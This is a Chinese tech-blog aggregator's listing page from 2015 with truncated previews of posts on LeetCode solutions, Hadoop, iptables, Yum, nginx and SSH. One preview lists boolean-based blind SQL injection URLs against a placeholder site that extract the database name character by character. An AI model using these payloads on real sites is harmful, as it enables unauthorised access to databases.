首页 > 其他
[LeetCode]74 Search a 2D Matrix
https://oj.leetcode.com/problems/search-a-2d-matrix/http://blog.csdn.net/linhuanmars/article/details/24216235publicclassSolution{ publicbooleansearchMatrix(int[][]matrix,inttarget){ //Searchfromrightcorner intn=matrix.length;//howmanyrows. intm=matrix[0].le..
分类:其他   时间:2015-01-04 19:37:23    收藏:0  评论:0  赞:0  阅读:314
[LeetCode]75 Sort Colors
https://oj.leetcode.com/problems/sort-colors/http://blog.csdn.net/linhuanmars/article/details/24286349publicclassSolution{ publicvoidsortColors(int[]A) { //SolutionA: sortColors_CountColor(A); //SolutionB: //sortColors_MergeSort(A,0,A.length-1); } ///////..
分类:其他   时间:2015-01-04 19:36:53    收藏:0  评论:0  赞:0  阅读:174
Scala环境搭建
下载JDK:http://www.oracle.com/technetwork/java/javase/downloads/index.html我的电脑是win764位,选择jdk-8u25-windows-x64.exe下载ScalaAPI:http://www.scala-lang.org/download/下载ScalaIDE(Eclipse版本):http://scala-ide.org/download/sdk.html环境变量设置:CLASSPAT..
分类:其他   时间:2015-01-04 19:36:13    收藏:0  评论:0  赞:0  阅读:327
hadoop2.5.1伪分布式部署
可参阅官方文档http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SingleCluster.html文件下载:http://mirrors.hust.edu.cn/apache/hadoop/common/注:可直接使用2.5.2或2.6.0版本都解决了2.5.1中不稳定bug1伪分布式部署以测试通过的为例Linuxversion..
分类:其他   时间:2015-01-04 19:35:53    收藏:0  评论:0  赞:0  阅读:253
当公有云Azure拥抱Docker容器技术
预见未来看似是一件不太可能的事情,然而现在企业科技高速发展的态势完全超乎想象。就在几周前InfoWorld的主编EricKnorr在引流潮流专栏发表一篇非常火爆的关于2015年以及之后的九大科技企业趋势,在其中非常清晰的指出这九大潮流中头两位就是公有云的胜利和容器技术的狂热。从..
分类:其他   时间:2015-01-04 19:35:43    收藏:0  评论:0  赞:0  阅读:296
iptables概念及写法详解
iptables基础概念及写法详解防火墙控制理论概念的剖析防火墙在计算机语言中的理解:工作于主机或者网络边缘,对于进出的报文根据定义的规则做出检查,进而对被规则匹配到的报文作出相应处理的套件。防火墙和杀毒软件的概念区别:防火墙是在病毒没有进入前做出了规则判断和处理..
分类:其他   时间:2015-01-04 19:35:13    收藏:0  评论:0  赞:0  阅读:417
六个月的宜信生活,虽短也长
78年生人的我,于本命年之际来到宜信,的确是一件很美好的事情。2014年的5月底还处在无工作状态的休假中,偶然的机会,在微信上,现在的王老大给了我机会,提供了宜信技术部系统部用人的信息,想想和老大面聊的情景,真是“一拍即合”啊,所以,我来到了宜信,至今日,近6月时..
分类:其他   时间:2015-01-04 19:35:03    收藏:0  评论:0  赞:0  阅读:318
构建企业内部的Yum服务器
企业内部如果使用自己的Yum服务器,不但占用带宽少、速度更快,而且可以更加灵活方便的自定义配置,能有效提升日常工作效率。一、基本概念1.RPM全称是TheRPMPackageManager。用于在CentOS系统中安装/卸载软件。2.Yum全称是YellowDogUpdaterModified。用于管理RPM包,完成安装/..
分类:其他   时间:2015-01-04 19:34:33    收藏:0  评论:0  赞:0  阅读:349
速度发射点发射点发
分类:其他   时间:2015-01-04 19:34:23    收藏:0  评论:0  赞:0  阅读:245
升级openssh_6.7p1 ssl_1.0.1j
#!/bin/shCHECK_RUN(){if["$?"="0"];thenecho"===============Run[$1]succeed!==============="sleep3elseecho"Error,abort!"exit2fi}./telnet_restart.shstart./telnet_restart.shstatussleep3echo""echo""USER=`whoami`if[$USER!=root];thenecho"Mustberoottorunthisscript,p..
分类:其他   时间:2015-01-04 19:33:53    收藏:0  评论:0  赞:0  阅读:454
[LeetCode]77 Combinations
https://oj.leetcode.com/problems/combinations/http://blog.csdn.net/linhuanmars/article/details/21260217publicclassSolution{ publicList<List<Integer>>combine(intn,intk) { List<List<Integer>>results=newArrayList<>(); help(n,k,0,n..
分类:其他   时间:2015-01-04 19:33:23    收藏:0  评论:0  赞:0  阅读:237
nginx正向代理
(一)网络架构客户端A: 操作系统:windows 本地连接: ip:192.168.1.149网关:192.168.1.1(路由器地址)dns:192.168.1.1(路由器地址)子网掩码:255.255.255.0 VMwareNetworkAdapterVMnet1: ip:192.168.3.1(用来和虚拟机通信) 服务器B: 操作系统:linux(虚拟机) eth1:采用桥接模式..
分类:其他   时间:2015-01-04 19:33:13    收藏:0  评论:0  赞:0  阅读:313
[LeetCode]78 Subsets
https://oj.leetcode.com/problems/subsets/http://blog.csdn.net/linhuanmars/article/details/24286377publicclassSolution{ publicList<List<Integer>>subsets(int[]S){ Arrays.sort(S); List<List<Integer>>results=newArrayList<>(); hel..
分类:其他   时间:2015-01-04 19:33:03    收藏:0  评论:0  赞:0  阅读:197
[LeetCode]78 Subsets
https://oj.leetcode.com/problems/subsets/http://blog.csdn.net/linhuanmars/article/details/24286377publicclassSolution{ publicList<List<Integer>>subsets(int[]S){ Arrays.sort(S); List<List<Integer>>results=newArrayList<>(); hel..
分类:其他   时间:2015-01-04 19:32:53    收藏:0  评论:0  赞:0  阅读:249
liinux route
实例:1、routeadd-net192.168.2.0netmask255.255.255.0deveth0添加一条到达192.168.2.0网络的路由,指定网络掩码为255.255.255.0,数据包通过网络接口eth0。2、routeadd-net192.57.66.0netmask255.255.255.0gw192.168.2.1添加一条到达192.57.66.0网络的路由,指定网络掩码为255..
分类:其他   时间:2015-01-04 19:32:33    收藏:0  评论:0  赞:0  阅读:295
过滤union 进行盲注
http://www.x.com/sections_intr.php?id=181andlength((database()))=4http://www.x.com/sections_intr.php?id=181andascii(substring((database()),1,1))=122http://www.x.com/sections_intr.php?id=181andascii(substring((database()),2,1))=122http://www.x.com/sections_i..
分类:其他   时间:2015-01-04 19:32:23    收藏:0  评论:0  赞:0  阅读:266
主机间无需密码基于ssh通信
node1:172.16.58.1node2:172.16.58.3node1-->node2首先在node1生成秘钥执行命令ssh-keygen-P‘‘询问保存路径直接回车默认即可,后面提示私钥保存为/root/.ssh/id_rsa公钥保存为/root/.ssh/id_rsa.pub[root@node1~]#ssh-keygen-P‘‘Generatingpublic/privatersakeypair.Enterfi..
分类:其他   时间:2015-01-04 19:31:23    收藏:0  评论:0  赞:0  阅读:241
[LeetCode]79 Word Search
https://oj.leetcode.com/problems/word-search/http://blog.csdn.net/linhuanmars/article/details/24336987publicclassSolution{ publicbooleanexist(char[][]board,Stringword) { Map<Character,List<P>>map=buildMap(board); booleanr=visit(map,word.toCharAr..
分类:其他   时间:2015-01-04 19:31:13    收藏:0  评论:0  赞:0  阅读:482
[LeetCode]80 Remove Duplicates from Sorted Array II
https://oj.leetcode.com/problems/remove-duplicates-from-sorted-array-ii/http://blog.csdn.net/linhuanmars/article/details/24343525publicclassSolution{ publicintremoveDuplicates(int[]A){ if(A==null) return-1;//invalidinput if(A.length==0||A.length==1) retur..
分类:其他   时间:2015-01-04 19:31:03    收藏:0  评论:0  赞:0  阅读:346
[LeetCode]81 Search in Rotated Sorted Array II
https://oj.leetcode.com/problems/search-in-rotated-sorted-array-ii/http://blog.csdn.net/linhuanmars/article/details/20588511publicclassSolution{ publicbooleansearch(int[]A,inttarget){ if(A==null||A.length==0) returnfalse; returnfind(A,0,A.length-1,target); ..
分类:其他   时间:2015-01-04 19:30:42    收藏:0  评论:0  赞:0  阅读:260
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!